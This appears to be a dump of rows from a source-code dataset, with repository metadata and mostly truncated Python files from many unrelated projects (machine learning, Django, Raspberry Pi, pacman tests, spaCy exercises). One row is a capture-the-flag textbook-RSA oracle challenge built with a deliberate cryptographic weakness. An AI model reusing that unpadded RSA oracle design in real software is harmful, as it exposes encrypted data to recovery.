300fdfa379dc1de2242b38c95aac58d2693a2b18 | 940 | py | Python | research/cv/DnCNN/src/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/DnCNN/src/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/DnCNN/src/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 31.333333 | 78 | 0.625532 |
067fc8a8c1346fa31de4ae23fd5af3b8d4d4a8d7 | 1,328 | py | Python | python/image_processing/mat_draw.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/image_processing/mat_draw.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/image_processing/mat_draw.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | import numpy as np
import cv2
from matplotlib import pyplot as plt
# Create a black image
img = np.zeros((512,512,3), np.uint8)
# Draw a diagonal blue line with thickness of 5 px
cv2.line(img,(0,0),(511,511),(255,0,0),5)
# image starting ending color and thickness
# The openCV BGR color format blue green red
cv2.re... | 26.039216 | 134 | 0.678464 |
231cc7e138d5afbc17a32cbe4b5f68cad38defb4 | 1,284 | py | Python | Packs/ContentManagement/Scripts/ListCreator/ListCreator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/ContentManagement/Scripts/ListCreator/ListCreator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/ContentManagement/Scripts/ListCreator/ListCreator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
SCRIPT_NAME = 'ListCreator'
def configure_list(list_name: str, list_data: str) -> bool:
"""Create system lists using the createList built-in method.
"""
demisto.debug(f'{SCRIPT_NAME} - Setting "{list_name}" list.')
res = demisto.executeC... | 27.913043 | 94 | 0.617601 |
88d17143ab476e31e2301d0b8ab5493e57765e25 | 479 | py | Python | Implementierung/ResearchEnvironment/AuthorizationManagement/migrations/0004_auto_20180125_1659.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | Implementierung/ResearchEnvironment/AuthorizationManagement/migrations/0004_auto_20180125_1659.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | Implementierung/ResearchEnvironment/AuthorizationManagement/migrations/0004_auto_20180125_1659.py | Sashks/PSE | ae2d8133a85563c33583f15b9ba76a3a2bf0c762 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.1 on 2018-01-25 15:59
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('AuthorizationManagement', '0003_auto_20180125_1450'),
]
operations = [
migrations.AlterField(
m... | 23.95 | 92 | 0.653445 |
cc41347698f9ea1989c6c599312341a3b818595e | 1,397 | py | Python | setup.py | skylerberg/Flask-AntiCsrf | 4cf4e7c0085bcc4b2cf64821f64d2eac9fc2081a | [
"Apache-2.0"
] | null | null | null | setup.py | skylerberg/Flask-AntiCsrf | 4cf4e7c0085bcc4b2cf64821f64d2eac9fc2081a | [
"Apache-2.0"
] | null | null | null | setup.py | skylerberg/Flask-AntiCsrf | 4cf4e7c0085bcc4b2cf64821f64d2eac9fc2081a | [
"Apache-2.0"
] | null | null | null | from setuptools import setup, find_packages
# To use a consistent encoding
from codecs import open
from os import path
here = path.abspath(path.dirname(__file__))
# Get the long description from the README file
with open(path.join(here, 'README.md'), encoding='utf-8') as f:
long_description = f.read()
setup(
... | 34.925 | 71 | 0.644953 |
886d2a4ee1d87c59b9565562083e48851185958e | 1,727 | py | Python | tag_pages_generator.py | rekindle-blog/rekindle-blog.github.io | ec17014be5435ed229bcbfaac6e970485a6e1d7d | [
"MIT"
] | null | null | null | tag_pages_generator.py | rekindle-blog/rekindle-blog.github.io | ec17014be5435ed229bcbfaac6e970485a6e1d7d | [
"MIT"
] | 2 | 2021-07-13T21:22:51.000Z | 2021-09-28T05:51:31.000Z | tag_pages_generator.py | rekindle-blog/rekindle-blog.github.io | ec17014be5435ed229bcbfaac6e970485a6e1d7d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
'''
Initial version by Long Qian
Modified by James Cuénod
'''
import os
import yaml
post_dir = '_posts/'
tag_dir = 'tag/'
def get_filenames():
files = []
for path in os.listdir(post_dir):
if path.endswith(".md") or path.endswith(".html"):
files.append(post_dir + pat... | 24.323944 | 110 | 0.603937 |
ee6e890d435510c714af0dce26594e40b543591c | 4,526 | py | Python | research/cv/gan/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/gan/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/gan/postprocess.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 32.561151 | 98 | 0.62616 |
c9b0ca723a1f361024c4f7f2651ae0d1f9d76c92 | 308 | pyde | Python | sketches/with/with.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/with/with.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/with/with.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | # with-Statement
def setup():
size(400, 400)
background(255)
def draw():
fill(color(255, 153, 0))
ellipse(100, 100, 50, 50)
with pushStyle():
fill(color(255, 51, 51))
strokeWeight(5)
ellipse(200, 200, 50, 50)
ellipse(300, 300, 50, 50)
| 17.111111 | 34 | 0.519481 |
c9b5b4f61fb3a1cbbcb2e6cc2503783afb2992a1 | 2,107 | py | Python | .xiaobu/custom/RaspberryPiStatus.py | hanyanze/FS_AILPB | 7756551cf926aa6296ec851dd696c97d56e06bca | [
"Apache-2.0"
] | 1 | 2020-07-16T02:52:47.000Z | 2020-07-16T02:52:47.000Z | .xiaobu/custom/RaspberryPiStatus.py | hanyanze/FS_AILPB | 7756551cf926aa6296ec851dd696c97d56e06bca | [
"Apache-2.0"
] | null | null | null | .xiaobu/custom/RaspberryPiStatus.py | hanyanze/FS_AILPB | 7756551cf926aa6296ec851dd696c97d56e06bca | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8-*-
# 树莓派状态插件
import os
from robot import logging
from robot.sdk.AbstractPlugin import AbstractPlugin
logger = logging.getLogger(__name__)
class Plugin(AbstractPlugin):
SLUG = "pi_status"
def getCPUtemperature(self):
result = 0.0
try:
tempFile = open("/sys/clas... | 31.447761 | 149 | 0.542952 |
6dc9002e1c8726bf117e98e28fc6f0d87fd91549 | 586 | py | Python | src/onegov/core/orm/mixins/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/core/orm/mixins/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/core/orm/mixins/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.orm.mixins.content import content_property
from onegov.core.orm.mixins.content import ContentMixin
from onegov.core.orm.mixins.content import data_property
from onegov.core.orm.mixins.content import dict_property
from onegov.core.orm.mixins.content import meta_property
from onegov.core.orm.mixins.publi... | 30.842105 | 66 | 0.793515 |
116103b6c11d54ffdec248ffae2443f3d84115f5 | 385 | py | Python | pacman-arch/test/pacman/tests/upgrade072.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade072.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade072.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Install a package with a missing dependency (nodeps)"
p = pmpkg("dummy")
p.files = ["bin/dummy",
"usr/man/man1/dummy.1"]
p.depends = ["dep1"]
self.addpkg(p)
self.args = "-Udd %s" % p.filename()
self.addrule("PACMAN_RETCODE=0")
self.addrule("PKG_EXIST=dummy")
self.addrule("PKG_DEPENDS=d... | 24.0625 | 73 | 0.675325 |
3a2d19ae806ea485e094c3010253894ae8f262a3 | 231 | py | Python | tests/web.adblockplus.org/data/dataDonationPages.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 9 | 2016-01-29T18:05:29.000Z | 2021-10-06T04:21:55.000Z | tests/web.adblockplus.org/data/dataDonationPages.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 9 | 2015-04-06T19:03:32.000Z | 2019-05-28T13:34:55.000Z | tests/web.adblockplus.org/data/dataDonationPages.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 18 | 2015-04-06T17:42:31.000Z | 2021-10-06T04:26:29.000Z | TEST_DATA = [(
'donation_page',
'https://adblockplus.org/donate',
), (
'update_page',
'https://new.adblockplus.org/update',
), (
'first_run_page',
'https://welcome.adblockplus.org/installed'
)]
| 19.25 | 49 | 0.584416 |
c9834d3a9fd2f27a14bef81edff915058e97365c | 865 | py | Python | cktsim/sim/urls.py | Rajarshi07/cktsim | 35f85a5240b940bfd0c0f5fb15cf59da57f92587 | [
"MIT"
] | null | null | null | cktsim/sim/urls.py | Rajarshi07/cktsim | 35f85a5240b940bfd0c0f5fb15cf59da57f92587 | [
"MIT"
] | null | null | null | cktsim/sim/urls.py | Rajarshi07/cktsim | 35f85a5240b940bfd0c0f5fb15cf59da57f92587 | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
path('allckts/', views.allckts, name='allckts'),
path('adder/hadd/', views.hadd, name='halfadder'),
path('adder/fadd/', views.fadd, name='fulladder'),
path('subtractor/hsub/', views.hsub, name='half... | 43.25 | 65 | 0.660116 |
a3293426b4a0b24e55bbd137577dd253291f5281 | 1,563 | py | Python | doc/fb_memoir/python/induc.py | ghsecuritylab/project-powerline | 6c0ec13bbfc11c3790c506f644db4fe45021440a | [
"MIT"
] | null | null | null | doc/fb_memoir/python/induc.py | ghsecuritylab/project-powerline | 6c0ec13bbfc11c3790c506f644db4fe45021440a | [
"MIT"
] | null | null | null | doc/fb_memoir/python/induc.py | ghsecuritylab/project-powerline | 6c0ec13bbfc11c3790c506f644db4fe45021440a | [
"MIT"
] | 1 | 2020-03-08T01:50:58.000Z | 2020-03-08T01:50:58.000Z | #!/usr/bin/env python3
import numpy as np
# Calculate Inductance of Rectangle
a = 10 # length
b = 3
#b = np.sqrt(2*5)
#bInner = 2
#bOuter = 5
d = np.sqrt(a**2 + b**2) # diagonal
s = 4e-6 # section surface of wire
rho = np.sqrt(s/np.pi) # radius of wire
mu0 = 4*np.pi*1e-... | 26.948276 | 78 | 0.634037 |
28596eea00f6e54a8cb03d3c432442a23adfaaa3 | 267 | py | Python | mqtt/mqtt_publish.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | mqtt/mqtt_publish.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | mqtt/mqtt_publish.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
# Notwendige Bibliothek installieren:
# pip3 install paho-mqtt
import paho.mqtt.publish as publish
# veröffentliche eine neue Nachricht unter dem angegebenen Thema
publish.single("test/topic", "nachricht", hostname="192.168.24.132")
| 20.538462 | 68 | 0.756554 |
6c7c205548401d130df6ab07cd60084e4937498e | 1,548 | py | Python | timing.py | timwuu/SokobanSolver | ae6d73516efa70fbf56ed4ca920b5ddc427d095d | [
"MIT"
] | null | null | null | timing.py | timwuu/SokobanSolver | ae6d73516efa70fbf56ed4ca920b5ddc427d095d | [
"MIT"
] | null | null | null | timing.py | timwuu/SokobanSolver | ae6d73516efa70fbf56ed4ca920b5ddc427d095d | [
"MIT"
] | null | null | null | import numpy as np
import hashlib
import datetime
MAX_STEP_COUNT_LST_SIZE= 256
g_lst_1 = np.empty((MAX_STEP_COUNT_LST_SIZE, 2),dtype='i4')
g_lst_2 = np.empty((MAX_STEP_COUNT_LST_SIZE, 2),dtype='i4')
g_lst_3 = np.empty((MAX_STEP_COUNT_LST_SIZE*2),dtype='u2')
g_lst_4 = np.empty((MAX_STEP_COUNT_LST_SIZE*2),dty... | 18.878049 | 59 | 0.560724 |
dd5f0a9258c42e65bdea33af16411fb664614a02 | 3,401 | py | Python | 21-fs-ias-lec/13-RaptorCode/src/demo.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 21-fs-ias-lec/13-RaptorCode/src/demo.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 21-fs-ias-lec/13-RaptorCode/src/demo.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | from numpy import random # only used to simulate data loss
from decoder import Decoder # necessary for the functionality
from encoder import Encoder # necessary for the functionality
from utils import NUMBER_OF_ENCODED_BITS # only used for statistic
# showcase steering elements:
STOP_ENCODER_ON_DECODING = True #... | 57.644068 | 117 | 0.7586 |
b0d1c34511e3f9a65f226a452c09abc99a99d5b5 | 4,448 | py | Python | tests/onegov/election_day/forms/test_notification_form.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/forms/test_notification_form.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/forms/test_notification_form.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from datetime import date
from onegov.ballot import Election
from onegov.ballot import ProporzElection
from onegov.ballot import Vote
from onegov.election_day.forms import TriggerNotificationForm
from onegov.election_day.forms import TriggerNotificationsForm
from tests.onegov.election_day.common import DummyPostData
fr... | 30.675862 | 77 | 0.607239 |
af873620f2e0464a704d2cf26efb89cbe6bc0821 | 489 | py | Python | ISTp/2014/korsakov_a_a/task_2_34.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | ISTp/2014/korsakov_a_a/task_2_34.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | ISTp/2014/korsakov_a_a/task_2_34.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 2. Вариант 34
# Напишите программу, которая будет выводить на экран наиболее понравившееся
# вам высказывание, автором которого является Платон. Не забудьте о том,
# что автор должен быть упомянут на отдельной строке.
# Korsakov A.A.
# 31.03.2016
print ('\nНикто не знает, что такое смерть и не есть ли она... | 44.454545 | 164 | 0.748466 |
bb960271e706222acdc3d1eee56653d1674f3452 | 2,392 | py | Python | test_data/split_and_load_bundles.py | Healthedata1/Flask-PL | 88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1 | [
"MIT"
] | null | null | null | test_data/split_and_load_bundles.py | Healthedata1/Flask-PL | 88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1 | [
"MIT"
] | null | null | null | test_data/split_and_load_bundles.py | Healthedata1/Flask-PL | 88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1 | [
"MIT"
] | null | null | null | ##### DO NOT USE REFERENCES ARE NOT PRESERVED #####
##### times out on HAPI test server so split into thirds and save.
from fhirclient.r4models import (
bundle,
)
from json import loads, dumps
from requests import get, post, put
from datetime import date... | 35.176471 | 131 | 0.663043 |
a524560897bffe8d9900040b114bdee8d4a3485b | 1,957 | py | Python | test_protocol/lfw/face_cropper/crop_calfw_by_arcface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 1,329 | 2021-01-13T07:06:30.000Z | 2022-03-31T07:23:39.000Z | test_protocol/lfw/face_cropper/crop_calfw_by_arcface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 115 | 2021-01-13T10:42:57.000Z | 2022-03-28T03:57:52.000Z | test_protocol/lfw/face_cropper/crop_calfw_by_arcface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 351 | 2021-01-13T07:21:00.000Z | 2022-03-29T14:11:39.000Z | """
@author: Jun Wang
@date: 20201012
@contact: jun21wangustc@gmail.com
"""
import os
import sys
import math
import multiprocessing
import cv2
sys.path.append('/export/home/wangjun492/wj_armory/faceX-Zoo/face_sdk')
from core.image_cropper.arcface_face_recognition.FaceRecImageCropper import FaceRecImageCropper
def cr... | 44.477273 | 157 | 0.706694 |
3c015adc1dabb48fb294a3beaa89a23254967f4b | 92 | py | Python | tests/views/test_app.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | tests/views/test_app.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | tests/views/test_app.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | def test_index(client):
response = client.get("/")
assert b"oveda" in response.data
| 23 | 36 | 0.673913 |
55812c7fedc170dbc1d0edb8894ed741fd977bd5 | 772 | py | Python | jiuzhang/Nine Chapters/3 Binary Tree & Divide Conquer/py/BinaryTreeLevelOrderTraversal_iter.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | jiuzhang/Nine Chapters/3 Binary Tree & Divide Conquer/py/BinaryTreeLevelOrderTraversal_iter.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | jiuzhang/Nine Chapters/3 Binary Tree & Divide Conquer/py/BinaryTreeLevelOrderTraversal_iter.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | """
Definition of TreeNode:
class TreeNode:
def __init__(self, val):
self.val = val
self.left, self.right = None, None
"""
class Solution:
"""
@param root: The root of binary tree.
@return: Level order in a list of lists of integers
"""
def levelOrder(self, root):
# wr... | 22.705882 | 55 | 0.459845 |
fd227f9521e5c83f4b638aac1b6475e3dbca945c | 12,306 | py | Python | salamigalnet.py | MiaranaDIY/Salamigal | 44ac98fa6463d46694e1f9343a0ebc788e7a88f8 | [
"MIT"
] | 3 | 2017-08-02T12:26:34.000Z | 2021-01-13T01:06:26.000Z | salamigalnet.py | MiaranaDIY/Salamigal | 44ac98fa6463d46694e1f9343a0ebc788e7a88f8 | [
"MIT"
] | null | null | null | salamigalnet.py | MiaranaDIY/Salamigal | 44ac98fa6463d46694e1f9343a0ebc788e7a88f8 | [
"MIT"
] | 3 | 2017-02-14T22:10:00.000Z | 2021-01-02T14:26:43.000Z | # -*- coding: utf-8 -*-
#Setup logging
import logging
import logging.config
logging.config.fileConfig('logging.conf')
# create logger
logger = logging.getLogger('root')
import multiprocessing
import threading
import time
import traceback
import subprocess as sp
import json
from devices.relay import Relay
from devices.d... | 37.518293 | 111 | 0.4523 |
fd35e38db468183fbc2130ace713bdead94446e5 | 1,833 | py | Python | Imaginary/2021/crypto/Textbook_RSA_2_Timmy_the_Lonely_Oracle/oracle.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | Imaginary/2021/crypto/Textbook_RSA_2_Timmy_the_Lonely_Oracle/oracle.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | Imaginary/2021/crypto/Textbook_RSA_2_Timmy_the_Lonely_Oracle/oracle.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | #!/usr/bin/env -S python3 -u
from Crypto.Util.number import *
from hidden import p, q, flag1
e = 65537
n = p*q
ns = str(n)
ctxt = pow(bytes_to_long(flag1), e, n)
class SneakyUserException(Exception):
pass
def print_ctxt(t):
print("Here's the encrypted message:", t)
print("e =", e)
print("n =", ns)
def encrypt(... | 24.118421 | 92 | 0.6503 |
1f82e3b3b792e561d0d5636755e371f9303a81f2 | 939 | py | Python | python/data_sutram/scraper/perform__.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/data_sutram/scraper/perform__.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/data_sutram/scraper/perform__.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | import json
from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
options = webdriver.ChromeOptions()
#options.binary_location = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
chrome_driver_binary = "../chromedriver"
driver = webdriver.Chrome(chro... | 40.826087 | 115 | 0.797657 |
2f09e20dc1f845d8e664b0c970c26c2fb78252be | 24,912 | py | Python | tests/api/test_event.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | tests/api/test_event.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | tests/api/test_event.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | import base64
import pytest
from project.models import PublicStatus
def test_read(client, app, db, seeder, utils):
user_id, admin_unit_id = seeder.setup_base()
event_id = seeder.create_event(admin_unit_id)
with app.app_context():
from project.models import Event, EventStatus
from projec... | 35.896254 | 88 | 0.717726 |
c84751c41e478f6c77fd672807e33fc6eb22acec | 1,906 | py | Python | hello/hello_pywin32.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | 1 | 2017-10-23T14:58:47.000Z | 2017-10-23T14:58:47.000Z | hello/hello_pywin32.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | null | null | null | hello/hello_pywin32.py | East196/hello-py | a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21 | [
"Apache-2.0"
] | 1 | 2018-04-06T07:49:18.000Z | 2018-04-06T07:49:18.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import win32api
import win32gui
import win32con
print("Hello,world!")
def find_idxSubHandle(pHandle, winClass, index=0):
"""
已知子窗口的窗体类名
寻找第index号个同类型的兄弟窗口
"""
assert type(index) == int and index >= 0
handle = win32gui.F... | 25.078947 | 84 | 0.641133 |
23f19c07ee75091be23abf40007b89cc7a6aeb40 | 17,291 | py | Python | AP_SS16/602/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 3 | 2016-04-27T17:07:00.000Z | 2022-02-02T15:43:15.000Z | AP_SS16/602/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 5 | 2016-04-27T17:10:03.000Z | 2017-06-20T14:54:20.000Z | AP_SS16/602/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | null | null | null | ##################################################### Import system libraries ######################################################
import matplotlib as mpl
mpl.rcdefaults()
mpl.rcParams.update(mpl.rc_params_from_file('meine-matplotlibrc'))
import matplotlib.pyplot as plt
import numpy as np
import scipy.constants as c... | 35.873444 | 148 | 0.636863 |
9b0826525a573c30f78599e5c2771508af5331a2 | 218 | py | Python | exercises/ja/exc_02_02_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/ja/exc_02_02_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/ja/exc_02_02_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | from spacy.lang.ja import Japanese
nlp = Japanese()
doc = nlp("私はネコを飼っています")
# 単語「ネコ」のハッシュを引く
cat_hash = ____.____.____[____]
print(cat_hash)
# cat_hashを使って文字列を引く
cat_string = ____.____.____[____]
print(cat_string)
| 16.769231 | 34 | 0.756881 |
f1e59d5569716344616dbf26c5bd9458ed237e7e | 347 | py | Python | lintcode/539-Move-Zeros/MoveZeros.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | lintcode/539-Move-Zeros/MoveZeros.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | lintcode/539-Move-Zeros/MoveZeros.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | class Solution:
# @param {int[]} nums an integer array
# @return nothing, do this in-place
def moveZeroes(self, nums):
# Write your code here
i = 0
for j in xrange(len(nums)):
if nums[j]:
num = nums[j]
nums[j] = 0
nums[i] = ... | 26.692308 | 42 | 0.446686 |
9e2bb957a798bcb2557b75ebaba83c41c3c3def7 | 1,879 | py | Python | projects/api/components.py | Matheus158257/projects | 26a6148046533476e625a872a2950c383aa975a8 | [
"Apache-2.0"
